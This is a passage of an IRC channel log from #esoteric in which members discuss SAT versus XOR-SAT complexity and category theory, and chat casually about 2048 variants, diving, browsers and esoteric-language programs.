have a distance of exactly 1 to every non-solution < 1395332005 251870 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(by not believed i mean XORSAT is in P) < 1395332022 785939 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :so if the term goes like (a OR b OR c) AND (.....) < 1395332033 45554 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :c is obviously zero, so you get 1 = |0-a| + |1-b| and 1 = |0-a| + |0-b|... < 1395332050 950199 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :I know that 1 = |0 - a| + |0 - b| + |0 - c| < 1395332066 16729 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Uh, 0 - a = a < 1395332088 641799 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :mroman: i thought addition was xor. < 1395332111 417508 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :mroman: the thing to note is that if that actually is absolute value, it is _not_ the same as a linear expression (mod 2) < 1395332120 93664 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because (mod 2), 1 + 1 + 1 = 1 < 1395332152 558420 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but for integers, |a| + |b| + |c| = 1 doesn't have that as a solution. < 1395332168 23216 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :the addition is not mod 2 < 1395332169 411879 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :yeah < 1395332176 998249 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :only the subtraction < 1395332185 723513 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :so you're not actually talking about a system of linear equations mod 2, then < 1395332190 819434 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok in that case you are just getting 3-SAT back. < 1395332200 269912 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :slightly reformulated, but not easier. < 1395332259 634988 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Or a special case of 1-0 integer programming (which reassuringly is also NP-complete) < 1395332285 70404 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :but |0 - x| is actually x? < 1395332305 399798 :realzies!~pinky@unaffiliated/realazthat JOIN :#esoteric < 1395332308 179493 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :mod 2 < 1395332314 987611 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :so you can rewrite every |0 - x| to x < 1395332321 970907 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :and every |1 - x| is actually just 1 - x? < 1395332342 402241 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :there's 1 - 1 = 0 or 1 - 0 = 1 which is the same as |1 - x| < 1395332367 56374 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(by crushes many attempts i mean that e.g. the deolalikar "proof" that went the rounds a few years ago was seen by experts to be failed because its argument did not really distinguish SAT from XOR-SAT, so would imply the latter wasn't in P, a contradiction.) < 1395332388 241494 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Which means I can get rid of || < 1395332422 68558 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :and I'm back to regular linear equations < 1395332444 808522 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :probably not < 1395332454 519035 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :I still assume there's a mistake in my brain somewhere < 1395332549 690492 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :You end up with 1 = a + b + c AND 1 = (1 - b) + c (1 - d) AND ... < 1395332562 94389 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :where a,b,c,d \elemof {0,1} < 1395332567 908578 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :mroman: x or y or z does not imply x + y + z = 1 with ordinary numbers. < 1395332580 641387 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it can be 2, or 3. < 1395332586 246955 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :oerjan: but mod 2 it does < 1395332591 459224 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no. < 1395332593 809808 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :why not? < 1395332596 566600 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :then it can be 0 or 1. < 1395332610 343464 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because 1 + 1 + 0 = 0 (mod 2) < 1395332622 536691 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :oerjan: Yeah. But that's no problem < 1395332653 346071 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :why not? it's a solution to a or b or c < 1395332674 92408 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which you are discarding if you insist on a + b + c = 1 (mod 2) < 1395332675 368926 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :oerjan: It's a solution < 1395332681 490165 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :but it's not the solution we're looking for < 1395332692 802582 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which solution are you looking for? < 1395332698 330195 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :1 + 1 + 0 is a solution with distance greater than 1 < 1395332703 843737 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :so I don't care about those solutions < 1395332716 562448 :john_metcalf!~digital_w@30.74.125.91.dyn.plus.net JOIN :#esoteric < 1395332728 757148 :realzies!~pinky@unaffiliated/realazthat QUIT :Read error: Connection reset by peer < 1395332751 420927 :realzies!~pinky@pool-74-108-116-26.nycmny.fios.verizon.net JOIN :#esoteric < 1395332751 476303 :realzies!~pinky@pool-74-108-116-26.nycmny.fios.verizon.net QUIT :Changing host < 1395332751 476422 :realzies!~pinky@unaffiliated/realazthat JOIN :#esoteric < 1395332755 631750 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Silly oerjan, it's not a solution to a or b or c mod 2 < 1395332756 110099 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ic. i think then your problem is that the intermediate solutions (0,1,0) and (1,0,0) might be ruled out by _other_ terms. < 1395332758 664622 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :(a or b or c) AND (d or c or b) describes two points in a 4-dimensional space < 1395332773 534385 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :namely (0,0,0,X) and (X,0,0,0) < 1395332794 54753 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :mroman: wat. < 1395332797 515788 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :if the SAT Term has a solution, then there exists a point with distance 1 to all known points < 1395332847 592574 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Do functors form the morphisms of a category whose objects are categories? < 1395332849 867238 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> filter (\[a,b,c,d] -> (a || b || c) && (d || c || b)) $ sequence (replicate 4 [0,1]) < 1395332850 176708 :idris-ircslave!~ircslave@dslb-092-072-133-213.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:55:No such variable \ < 1395332851 664245 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : No instance for (GHC.Num.Num GHC.Types.Bool) < 1395332851 767972 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : arising from the literal `0' < 1395332851 905591 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : Possible fix: < 1395332851 961103 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : add an instance declaration for (GHC.Num.Num GHC.Types.Bool) < 1395332858 270929 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :mroman: to rephrase, for an actually difficult SAT problem there will be no solution to the combination that is also a distance 1 solution to every _subterm_ < 1395332878 904852 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well. or maybe there will. < 1395332886 314314 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@run map (map fromEnum) $ filter (\[a,b,c,d] -> (a || b || c) && (d || c || b)) $ sequence (replicate 4 [False,True]) < 1395332887 421675 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric : [[0,0,1,0],[0,0,1,1],[0,1,0,0],[0,1,0,1],[0,1,1,0],[0,1,1,1],[1,0,0,1],[1,0,... < 1395332887 628839 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :oerjan: That can't be < 1395332893 994422 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :It has to have at least distance 1 to every subterm < 1395332895 70868 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it could still be an NP-complete problem just there. < 1395332919 138316 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :mroman: at _least_ does not mean it's exactly 1 for all of them. < 1395332931 636297 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :that's true < 1395332962 608778 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : Do functors form the morphisms of a category whose objects are categories? <-- yes. < 1395332999 423903 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Crazy < 1395333029 838187 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and it's the strange and hard to fit together correlations between different terms that make SAT hard. < 1395333042 713064 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :SAT? < 1395333059 117790 :Bike!~Glossina@71-222-36-216.ptld.qwest.net QUIT :Ping timeout: 246 seconds < 1395333061 405833 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :satisfiability problem < 1395333067 223998 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Oh, that < 1395333081 180310 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :laundry -> < 1395333157 625806 :Slereahphone!~slereahph@80.10.159.103 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1395333215 512195 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :yep < 1395333227 551973 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :there's trivially (1,1,X) and (0,1,X) < 1395333234 505 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :with (0,0,X) as solution < 1395333254 937246 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :with d >= 1 to (1,1,X) < 1395333412 134149 :Bike!~Glossina@71-222-36-216.ptld.qwest.net JOIN :#esoteric < 1395333452 699539 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :Taneb: the category of "small" categories, thanks to some barber < 1395333509 484737 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Taneb: there is also, for any two categories C and D, a category whose objects are the _functors_ from C to D and whose morphisms are natural transformations. < 1395333590 659626 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :what about the category whose objects are natural transformations and whose morphisms are clips from the Seinfeld laugh track < 1395333608 316408 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Bike: that does not sound natural to me < 1395333633 897939 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :Bike: which natural transformations? < 1395333684 538078 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :however, there is an unending tower of such constructions, which has given its name to the n-category cafe blog which my brain stays away from for its own sanity. < 1395333703 99175 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :lexande: just start with oerjan's message and then append mine with bla bla bla it'll totes work out < 1395333713 747763 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(not that it helps with the sanity, anyway) < 1395333958 749242 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :then, of course, you can construct a category whose objects are the aforementioned Seinfeld laugh track clips where morphisms are Turkish historical figures, and so on and so forth < 1395334030 906607 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :its natural transformations live in Hom(Constantinopel, Istanbul) < 1395334048 20458 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oops < 1395334050 80403 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*ple < 1395334067 492122 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i knew that disn't leok rite < 1395334077 693708 :Slereah_!~jackal@244.168.90.79.rev.sfr.net JOIN :#esoteric < 1395334847 722201 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395335268 158000 :MoALTz_!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395335474 740936 :MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Ping timeout: 265 seconds < 1395336313 392723 :lexande!arapp@terpsichore.ugcs.caltech.edu QUIT :Ping timeout: 240 seconds < 1395336319 755027 :lexande!arapp@terpsichore.ugcs.caltech.edu JOIN :#esoteric < 1395336793 193527 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1395337010 718412 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395338872 492499 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://i.imgur.com/FDEF7h3.png getting there < 1395338917 5660 :Slereah_!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :so much blood < 1395338933 633376 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1395339021 194967 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric ::) < 1395339060 107135 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :How usable is Servo rn? < 1395339258 533020 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it does an OK job on wikipedia, except last I checked we had some crashing bugs there < 1395339264 73183 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but it used to work pretty well < 1395339739 17767 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :should I be scared when the WHATWG spec says "for historical reasons"? because I feel like that phrase already applies to the entire document < 1395340189 977897 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yes < 1395340281 690683 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395340287 173813 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hello Phantom_Hoover < 1395340303 218875 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :hello Taneb < 1395340308 49457 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :How are you < 1395340350 944647 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :fine < 1395340364 694207 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :(i spent a week diving, in cornwall) < 1395340390 295094 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :nice < 1395340394 96336 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what did you see < 1395340398 994994 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :kelp, mostly < 1395340433 897110 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :there were very bad storms around there recently, it seems to have killed off the interesting sea life and stirred up a ton of silt < 1395340499 315908 :password2!~password@197.78.129.192 QUIT :Ping timeout: 240 seconds < 1395340567 278707 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :i did not see a variety of colourful fish < 1395340590 700821 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Last time I went diving I did < 1395340595 534170 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :But that wasn't in Cornwall < 1395340638 353085 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :yeah, there's a summer trip to malta planned where you can actually see something < 1395340640 261455 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :That was on the Great Barrier Reef < 1395340661 451470 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :but all the deadly sea life! < 1395340679 221080 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :They had like fences to keep the sharks and jellies out < 1395340725 465987 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I have watched way too much RvB in the past few days < 1395341618 178494 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395342074 699504 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Ik ga weg < 1395342352 637090 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395342377 333833 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Taneb: what's your real first name? < 1395342403 836520 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :quintopia, why do you ask? < 1395342516 10135 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :(it's Nathan) < 1395342554 474453 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i'm looking for euphonic name < 1395342555 804530 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :s < 1395342568 436256 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :nathan isn't one, though. not to me. < 1395342798 948084 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :How about "Sarah" < 1395342971 899008 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I do not actually know what euphonic means < 1395343098 946004 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1395343208 73343 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :Taneb, 'sounds good' < 1395343216 372854 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I stand by "Sarah" < 1395343225 272844 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Lots of soft sounds < 1395343665 680204 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Leaving < 1395343687 209016 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395344454 315624 :nisstyre!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395344629 139364 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Ping timeout: 245 seconds < 1395344650 772791 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://louhuang.com/2048-numberwang/ < 1395344808 705694 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :and i thought 2048 tetris was absurd < 1395344836 534640 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :kmc: what the hell < 1395344958 15906 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :whoa < 1395344960 292265 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i got numberwang < 1395344961 400637 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :are there actually rules? < 1395344979 825478 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :the rules are the combination of 2048 rules and the numberwang rules < 1395344982 362243 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :shachaf: congrats < 1395344990 558109 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :myname, the colour are consistent < 1395345002 617784 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :http://rudradevbasak.github.io/16384_hex/ < 1395345003 940685 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i... just don't get numberwang rules < 1395345046 646487 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Pay attention to the colours rather than the numbers < 1395345096 320123 :shikhin!~Shikhin@unaffiliated/shikhin NICK :shikbot < 1395345148 720287 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :but then it's just like playing regular 2048 < 1395345233 916046 :shikbot!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395345268 904467 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :you're missing out on the numberwang part < 1395345512 11987 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395345569 273641 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395345669 185230 :nortti!nortti@nano.smar.fi NICK :lawspeaker < 1395345720 185813 :lawspeaker!nortti@nano.smar.fi NICK :nortti < 1395347133 781349 :nortti!nortti@nano.smar.fi NICK :lawspeaker < 1395347149 500783 :lawspeaker!nortti@nano.smar.fi NICK :nortti < 1395348279 291594 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :myname: https://www.youtube.com/watch?v=swV3E3HPQC4 comes with all 37 volumes of the rules < 1395348502 334270 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1395348767 721369 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Strange thing: blacks in YouTube videos are much darker for the 720p and 1080p format than for the "non-HD" ones; it's like there's a visible light-gray film on top otherwise. < 1395348842 868613 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it's because it's HD < 1395348932 778360 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :High Darkness < 1395349218 798716 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395349389 731525 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395349441 520139 :applybot!~applybot@unaffiliated/jafet QUIT :Remote host closed the connection < 1395349543 972845 :applybot!~applybot@unaffiliated/jafet JOIN :#esoteric < 1395349947 983360 :applybot!~applybot@unaffiliated/jafet QUIT :Remote host closed the connection < 1395350700 157311 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Ping timeout: 265 seconds < 1395350739 539515 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :i am getting so muich numberwang rn < 1395350742 732604 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :fizzie, they reduce the video size by getting rid of the dark colours obviously < 1395350752 304815 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net PRIVMSG #esoteric :ACTION steals Bike < 1395350959 435948 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :i've been wangernumbed :< < 1395351029 685034 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :fizzie: they might add some noise to hide bad video quality too < 1395351447 589923 :applybot!~applybot@unaffiliated/jafet JOIN :#esoteric < 1395351577 415973 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :ahaha, i just looked at adblock plus' counter of elements blocked < 1395351582 26092 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :on facebook, it's 97 < 1395353114 747008 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395353263 385198 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395353264 406296 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395354158 116343 :MoALTz_!~no@user-31-174-194-235.play-internet.pl QUIT :Quit: bbl < 1395354434 782580 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395354482 572960 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395354965 781049 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net JOIN :#esoteric < 1395355164 514153 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net PRIVMSG #esoteric :anyone make hello world in http://esolangs.org/wiki/SLOW_ACV_MAMMALIAN? < 1395355464 19996 :trout!root@freebsd/developer/variable QUIT :Ping timeout: 255 seconds < 1395355811 172024 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395355928 293474 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Leaving < 1395355948 234809 :nooodl!~nooodl@93.124-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395356315 321749 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395356375 761336 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net JOIN :#esoteric < 1395356706 691137 :john_metcalf!~digital_w@30.74.125.91.dyn.plus.net PRIVMSG #esoteric :Does anyone here work at BBN or Cisco? I need to get in touch with someone! < 1395356746 770422 :not^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net JOIN :#esoteric < 1395356909 773732 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395357610 732379 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover PRIVMSG #esoteric :abiword, uh, doesn't have .docx support < 1395358328 311360 :not^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net PRIVMSG #esoteric :hello world in MGIFOS is 8664592796570470965967495401779828799968421089183272766098933015548308114522263087402588080665328783362159691617011873780929333 *s < 1395358377 778022 :not^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net PRIVMSG #esoteric :wait, might be truncated < 1395358379 974345 :not^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net PRIVMSG #esoteric :fack < 1395358386 913189 :not^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net PRIVMSG #esoteric :one sec < 1395358575 963142 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : but then it's just like playing regular 2048 <-- except that sometimes blocks fail to merge for no obvious reason. i think i did well but i don't know why. < 1395358715 879516 :not^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395358767 861766 :not^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net JOIN :#esoteric < 1395358887 725887 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net JOIN :#esoteric < 1395359054 788004 :not^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net QUIT :Ping timeout: 252 seconds < 1395359183 997704 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395359219 258948 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :shachaf: numberwang2048 sometimes randomly changes tile values, so you end up losing your high value tile < 1395359231 773670 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net JOIN :#esoteric < 1395359331 700950 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1395359546 327117 :contrapumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1395359589 349068 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1395359668 830149 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1395359748 405574 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Ping timeout: 265 seconds < 1395359752 286083 :contrapumpkin!~copumpkin@unaffiliated/copumpkin NICK :copumpkin < 1395359906 200318 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Why am I looking at Self? Just because someone on Reddit, possibly a troll, said Self was more flexible than something or other? < 1395359918 508553 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :(And pretty sure it was in the context of macros, so...) < 1395359931 223733 :elliott_!~elliott@unaffiliated/elliott PRIVMSG #esoteric :because you are sgeo < 1395360082 241188 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :lexande: hm i got two yellow ones which i couldn't merge, and later two yellow ones that merged into a yellow, i think that might be the highest value somehow < 1395360105 970800 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it also disappeared at some point. < 1395360150 29988 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :perhaps this explains why it seemed somehow to be easier than ordinary 2048 < 1395360196 289926 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1395360315 842617 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net PRIVMSG #esoteric :and thanks to wolfram alpha: 8664592796570470965967495401779828799968421089183272766098933015548308114522263087402588080665328783362159691617011873780929333 < 1395360321 412821 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net PRIVMSG #esoteric :._. < 1395360325 4500 :^v!~notnot^v@c-68-41-214-218.hsd1.mi.comcast.net PRIVMSG #esoteric :its the same number < 1395360330 521081 